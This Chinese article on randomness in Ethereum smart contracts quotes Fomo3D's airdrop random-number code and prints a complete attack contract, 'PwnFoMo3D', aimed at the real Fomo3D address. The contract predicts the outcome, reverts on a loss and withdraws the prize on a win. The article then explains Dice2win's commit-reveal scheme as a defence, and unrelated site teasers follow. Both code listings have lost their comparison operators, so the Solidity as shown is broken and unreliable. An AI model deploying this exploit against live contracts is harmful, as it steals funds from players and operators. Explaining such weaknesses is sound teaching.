在以太坊应用中,游戏一直都是热点中的热点,而在游戏中,随机数往往是一个不可或缺的功能,比如骰子游戏中,我们需要通过随机数来控制点数,如果一个游戏有一个好的随机数算法的话,那么既可以保证游戏庄家不被黑,也可以保证玩家不被宰。
虽然随机数很重要,但是坏消息是在以太坊中实现一个基本的随机数并不是一件简单的事情。对于不熟悉区块链的人而言,这可能有些难以理解:毕竟大多数编程语言都有生成随机数的功能,难道以太坊的 Solidity 没有这个功能?答案是没有!要搞清楚这一点,我们还需要了解一下以太坊的运行机制:以太坊是一个基于共识的区块链系统,当智能合约代码运行的时候,不同的节点得到的结果必须一致。设想一下,假设 Solidity 有一个 random 函数,在 A 节点生成一个随机数 123,在 B 节点生成一个随机数 789,那就不存在共识了,区块链的根基就不存在了,所以以太坊不存在 random 之类的函数。
下面我们以两个比较出名的 DAPP 游戏为例,看看它们是如何生成随机数的:
先看看 Fomo3D,它有一个空投奖金的功能,随机数相关代码如下:
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) airDropTracker_)
return(true);
else
return(false);
}
大概逻辑就是根据区块和地址等信息做若干运算,拿到一个随机数,进而判断用户是否中奖,不过这个随机数是一个伪随机数,让我们看看对应的攻击代码:
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
contract PwnFoMo3D {
constructor() public payable {
// Link up the fomo3d contract and ensure this whole thing is worth it
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
if (fomo3d.airDropPot_() 0.4 ether) {
revert();
}
// Calculate whether this transaction would produce an airdrop. Take the
// "random" number generator from the FoMo3D contract.
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
(block.number)
)));
uint256 tracker = fomo3d.airDropTracker_();
if((seed - ((seed / 1000) * 1000)) = tracker) {
revert();
}
// Ok, seems we can win the airdrop, pwn the contract
address(fomo3d).call.value(0.1 ether)();
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
不懂 Solidity 也没关系,代码逻辑很简单:攻击者部署新合约,然后在合约中按照相同的随机数逻辑来预演自己能否中奖,不能就回滚,能就拿钱走人。如此一来,攻击者的成本仅仅就是部署合约的 GAS 费,相对于偷来的奖金而言可以忽略不计。
再看看 Dice2win,其代码最主要的函数就两个:placeBet、settleBet,分别对应着下注和开奖,其中采用了一种名为 hash-commit-reveal 的算法来实现随机数:
1.【庄家承诺】庄家(secretSigner)随机生成某随机数reveal,同时计算commit = keccak256 (reveal)对该reveal进行承诺。然后根据目前区块高度,设置一个该承诺使用的最后区块高度commitLastBlock。 对commitLastBlock和commit的组合体进行签名得到sig,同时把(commit, commitLastBlock,sig)发送给玩家。
2.【玩家下注】玩家获得(commit, commitLastBlock,sig)后选择具体要玩的游戏,猜测一个随机数r,发送下注交易placeBet到智能合约上进行下注。
3.【庄家开奖】当庄家在区块block1中看到玩家的下注信息后。则发送settleBet交易公开承诺值reveal到区块链上。合约计算随机数random_number=keccak256(reveal,block1.hash)。如果random_number满足用户下注条件,则用户胜,否则庄家胜。此外游戏还设有大奖机制,即如果某次random_number满足某个特殊值(如88888),则用户可赢得奖金池中的大奖。
说明:以上信息摘录自「Not a fair game, Dice2win公平性分析」。
庄家承诺、玩家下注、庄家开奖三个步骤分别对应着 hash-commit-reveal 的三个阶段,整个过程中庄家掌握着随机数,玩家控制着投注,敏感信息分散在不同人手中,谁也别想单独作弊,从而实现了一种相对公平的算法,当然了,这里可能存在参考链接中提及的庄家选择性开奖的问题,但这点可以通过别的方法来规避,这里略过不谈。
看了本文的例子,相信大家应该对如何在以太坊中生成随机数有了一个基本的认识:记住区块链里一切都是公开的,不要试图在智能合约里通过区块之类的信息来生成随机数,而应该在服务端通过 hash-commit-reveal 之类的算法来实现随机数。此外,我再推荐一篇好文章:以太坊智能合约中随机数预测。
打游戏是现在很多用户使用电脑时非常重要的功能,很多用户都......
阅读网页游戏是现在非常流行的游戏模式,我们可以在网页上玩到各......
阅读现在有非常多脍炙人口的网络游戏,还有很多的网页版游戏,用......
阅读很多浏览器都会自带弹窗和广告,使用起来非常令人讨厌,有的......
阅读广告是我们在使用浏览器时感觉非常烦人的东西,经常会在使用......
阅读显卡功耗天梯图能够帮助用户们来了解显卡的功率与功耗,从而更清楚应该去搭配什么样的电源,以免无法发挥出显卡的实力,这里为广大的用户们整理一些常用显卡的功耗表格,用户们可以作...
次阅读
此前Windows更新了一个立即开会功能,很多朋友用不到觉得很烦人,但是不知道立即开会怎么关,其实可以在任务栏设置中关闭它。...
次阅读
液晶显示器中最容易损坏的部件是:高压板、数据线、驱动板、内置电源和屏幕本身。 处理方法 一、液晶显示器故障较多的还是高压板。高压板出问题后,出现的故障现象一般分成2种...
次阅读
新功能有:1、革命性的分布式技术,无论是手机、电视、手表还是智能家居设备都可以控制;2、卡片式设计,整个控制中心以卡片形式展现第三方连接状态;3、原子化服务,直接点击对应卡片...
次阅读
前不久公司一服务器加歌光驱出现故障,开始还好好的,将光碟放进去之后拷贝完光碟里面的数据之后,竟然在推盘的时候光驱弹不出来,之后无奈只能重新启动电脑,不过问题依旧,...
次阅读
优麒麟是Ubuntu下的中文版操作系统,很多想要使用Linux系统的朋友应该都听说过,但是不知道优麒麟操作系统怎么样,因此小编今天就给大家带来了这款系统的详细评测,一起来看一下吧。...
次阅读
有的朋友新安装了win11系统,但是不知道windows11默认账号密码是什么,担心无法登录和正常使用。其实系统默认一般是没有密码的,我们只需要直接登录就可以了,下面一起来看看吧。...
次阅读
第一把交椅非华硕莫属了。华硕的这款B250主板属于MATX小板,在同规格的其它品牌主板里,华硕的价格向来都是最高的,除过品牌效应之外,拥有多年主板制造经验的华硕,其品牌下的主板质量...
次阅读
硬盘格式化导致系统无法启动怎么办 电脑硬盘格式化后无法打开系统解决方法...
次阅读
在我们使用电脑编辑各种文件时,很多时候需要对页面进行全选,如果页面太长,手动拖拽全选会显得很麻烦,其实电脑中各种编辑软件的全选快捷键基本都是一致的,那么全选快捷键是什么呢...
次阅读
i7-8700是一款拥有强大渲染能力的高端处理器,如果你还想要深入了解更多有关于i7-8700处理器的信息可以来看看小编为大家整理i7-8700详细信息。...
次阅读
问题描述:笔记本点“关机”以后,弹出一个错误对话框"IWMS Windows '0x5abc12a2'指令引用'0x0000066'内存错误","S24EvMon.exe错误",点“确定”后自动重新启动,点“取消”蓝屏,出现代码“0xc0000021...
次阅读
win8系统屏幕分辨率调不了的解决方法 win8系统怎么修复屏幕分辨率调不了...
次阅读
很多小伙伴都不知道默认网关是什么,怎么查?其实,查默认网关是使用电脑的一种基础操作,非常简单。接下来小编带大家一起来看怎么解决吧。...
次阅读
不少的用户们在使用电脑的时候,有时候会遇到蓝屏的情况,且会提示代码0x000000a5,那么这个问题需要怎么解决呢,那就快来看看详细的教程吧~...
次阅读